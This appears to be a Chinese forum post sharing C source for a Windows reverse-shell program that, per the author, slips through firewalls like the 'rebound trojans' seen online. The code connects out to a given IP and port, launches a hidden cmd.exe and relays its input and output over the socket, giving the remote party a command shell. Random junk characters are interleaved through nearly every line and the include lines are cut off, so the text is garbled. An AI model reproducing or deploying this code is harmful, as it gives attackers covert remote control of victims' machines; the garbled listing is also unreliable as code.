这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yp$_/p O=2
sC='_h
/* ============================== @^T1XX
Rebound port in Windows NT poToeagZ~Q
By wind,2006/7 5\e9@1Rc
===============================*/ "tB;^jhRs
#include OU8Lldt
#include Vm3v-=6
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#pragma comment(lib,"wsock32.lib") =K6($|'=
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void OutputShell(); *.!Np9l,V
SOCKET sClient; Fxm$9(Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VxVE
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void main(int argc,char **argv) #)C[5?{SNq
{ ||;hciO
WSADATA stWsaData; D|Q#gcWp o
int nRet; ,6om\9.E@
SOCKADDR_IN stSaiClient,stSaiServer; {buo^kgj`]
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if(argc != 3) O*0l+mop
{ Q
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printf("Useage:\n\rRebound DestIP DestPort\n"); G&4&-<
return; sOU1n
} W3 'q\+
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WSAStartup(MAKEWORD(2,2),&stWsaData); E;+O($bA
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |NpP2|4h
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stSaiClient.sin_family = AF_INET; yt.F\ [1
stSaiClient.sin_port = htons(0); PK0%g$0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ie2WL\tR4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X&7F_#s
{ 6f\Lf?vF
printf("Bind Socket Failed!\n"); 0a}u;gt,4w
return; `QyO`y=?[Y
} {&\jW!&n
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stSaiServer.sin_family = AF_INET; SV2M+5#;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Of4^?`
^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UE$UR#T'w
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cVv;Jn
{ v
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printf("Connect Error!"); )i!o8YB
return; R,pX:H+
} TrLu~4
OutputShell(); k3)dEH1z
} mg*qiScfW
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void OutputShell() x
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{ (X?%^^e!
char szBuff[1024]; vTlwRG=5
SECURITY_ATTRIBUTES stSecurityAttributes; L#+q]j+
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J"=vE=
STARTUPINFO stStartupInfo; ^yyC
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char *szShell; wtH?
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PROCESS_INFORMATION stProcessInformation; t.`@{R$hoA
unsigned long lBytesRead; `bZ/haU}A
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f"qga/
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !f&Kf,#b`
stSecurityAttributes.lpSecurityDescriptor = 0; :=wTvz
stSecurityAttributes.bInheritHandle = TRUE; N4L|;?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DDPxmuNG
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1:f9J
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DGAX3N;r6{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c6X}2a'
stStartupInfo.wShowWindow = SW_HIDE; lzYnw)Pv
stStartupInfo.hStdInput = hReadPipe; =
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *:L?#Bw
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GetVersionEx(&stOsversionInfo); <;#~l*
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switch(stOsversionInfo.dwPlatformId) Qzlo'e1
{ Axe8n1*y
case 1: ReM=eS
szShell = "command.com"; S5G6Rj@W
break; G-?d3n
default: DjN|Wr)*
szShell = "cmd.exe"; ;K!]4tfJ
break; (fCXxyZrr
} mo[Zb0>
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{
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WXmn1^"kK}
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send(sClient,szMsg,77,0); ds?v'|
while(1) lJE93rXU
{ {a4z2"\A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )0Me?BRp
if(lBytesRead) X!m9lV<
{ 20Z8HwQi
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b#K:_ac5
send(sClient,szBuff,lBytesRead,0); qL6
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} ($}`R
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else Vzwc}k*Y
{ TW[_Ko86
lBytesRead=recv(sClient,szBuff,1024,0); ?)`L$Vr=
if(lBytesRead<=0) break; U` Wauv&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &<UMBAS
} c2e
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} sIK;x]Q)
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return; +eX@U;J,g
}